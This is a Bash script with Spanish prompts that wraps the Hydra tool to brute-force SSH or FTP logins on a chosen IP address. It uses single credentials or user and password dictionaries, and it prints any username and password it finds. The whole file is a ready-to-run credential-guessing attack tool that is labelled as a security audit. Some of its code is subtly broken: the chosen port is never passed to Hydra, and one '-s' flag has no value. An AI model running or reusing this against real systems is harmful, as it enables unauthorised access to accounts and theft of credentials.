#!/bin/bash verde="\033[0;32m" rojo="\033[0;31m" sin_color="\033[0m" read -p "Por favor, ingrese la IP: " target read -p "¿Desea ingresar un usuario manualmente o usar un diccionario? (1 para manual, 2 para diccionario): " user_choice if [ "$user_choice" -eq 1 ]; then read -p "Por favor, ingrese el usuario: " user else read -p "Por favor, ingrese el diccionario de usuarios: " diccionario_usuarios if [ ! -f "$diccionario_usuarios" ]; then echo -e "${rojo}El diccionario de usuarios \"$diccionario_usuarios\" no existe. Asegúrese de colocarlo en el directorio correspondiente.${sin_color}" exit fi fi read -p "¿Desea ingresar una contraseña manualmente o usar un diccionario? (1 para manual, 2 para diccionario): " pass_choice if [ "$pass_choice" -eq 1 ]; then read -p "Por favor, ingrese la contraseña: " pass else read -p "Por favor, ingrese el diccionario de contraseñas: " diccionario_contrasenas if [ ! -f "$diccionario_contrasenas" ]; then echo -e "${rojo}El diccionario de contraseñas \"$diccionario_contrasenas\" no existe. Asegúrese de colocarlo en el directorio correspondiente.${sin_color}" exit fi fi if ! command -v hydra &> /dev/null; then echo -e "${rojo}Hydra no está instalado. Instálelo con: sudo apt install hydra${sin_color}" exit else echo -e "${verde}Hydra está instalado.${sin_color}" fi ssh_attack() { read -p "Por favor, ingrese el puerto SSH (por defecto 22): " port port=${port:-22} # Si no se ingresa un puerto, se usa el 22 por defecto. echo -e "${verde}Iniciando auditoría de seguridad por SSH en $target:$port...${sin_color}" sleep 3 if [ "$user_choice" -eq 1 ] && [ "$pass_choice" -eq 1 ]; then output=$(hydra -s -S -V -t 5 -f -l "$user" -p "$pass" ssh://"$target" -vV 2>/dev/null) elif [ "$user_choice" -eq 1 ]; then output=$(hydra -s -S -V -t 5 -f -l "$user" -P "$diccionario_contrasenas" ssh://"$target" -vV 2>/dev/null) elif [ "$pass_choice" -eq 1 ]; then output=$(hydra -s -S -V -t 5 -f -L "$diccionario_usuarios" -p "$pass" ssh://"$target" -vV 2>/dev/null) else output=$(hydra -s -S -V -t 5 -f -L "$diccionario_usuarios" -P "$diccionario_contrasenas" ssh://"$target" -vV 2>/dev/null) fi if echo "$output" | grep -qi "login:"; then found_user=$(echo "$output" | grep -oP "login: \K.*(?= password)") found_password=$(echo "$output" | grep -oP "password: \K.*") echo -e "${verde}Usuario encontrado: ${sin_color}$found_user" echo -e "${verde}Contraseña encontrada: ${sin_color}$found_password" exit 0 else echo -e "${rojo}No se encontró la combinación usuario/contraseña.${sin_color}" exit 0 fi } ftp_attack() { read -p "Por favor, ingrese el puerto FTP (por defecto 21): " port port=${port:-21} # Si no se ingresa un puerto, se usa el 21 por defecto. echo -e "${verde}Iniciando auditoría de seguridad por FTP en $target:$port...${sin_color}" sleep 3 if [ "$user_choice" -eq 1 ] && [ "$pass_choice" -eq 1 ]; then output=$(hydra -S -V -t 5 -f -l "$user" -p "$pass" ftp://"$target" -vV 2>/dev/null) elif [ "$user_choice" -eq 1 ]; then output=$(hydra -S -V -t 5 -f -l "$user" -P "$diccionario_contrasenas" ftp://"$target" -vV 2>/dev/null) elif [ "$pass_choice" -eq 1 ]; then output=$(hydra -S -V -t 5 -f -L "$diccionario_usuarios" -p "$pass" ftp://"$target" -vV 2>/dev/null) else output=$(hydra -S -V -t 5 -f -L "$diccionario_usuarios" -P "$diccionario_contrasenas" ftp://"$target" -vV 2>/dev/null) fi if echo "$output" | grep -qi "login:"; then found_user=$(echo "$output" | grep -oP "login: \K.*(?= password)") found_password=$(echo "$output" | grep -oP "password: \K.*") echo -e "${verde}Usuario encontrado: ${sin_color}$found_user" echo -e "${verde}Contraseña encontrada: ${sin_color}$found_password" exit 0 else echo -e "${rojo}No se encontró la combinación usuario/contraseña.${sin_color}" exit 0 fi } read -p "Elija el tipo de ataque (escriba ssh o ftp): " eleccion if [ "$eleccion" = "ssh" ]; then ssh_attack elif [ "$eleccion" = "ftp" ]; then ftp_attack else echo -e "${rojo}Debe escribir 'ssh' o 'ftp'.${sin_color}" exit 1 fi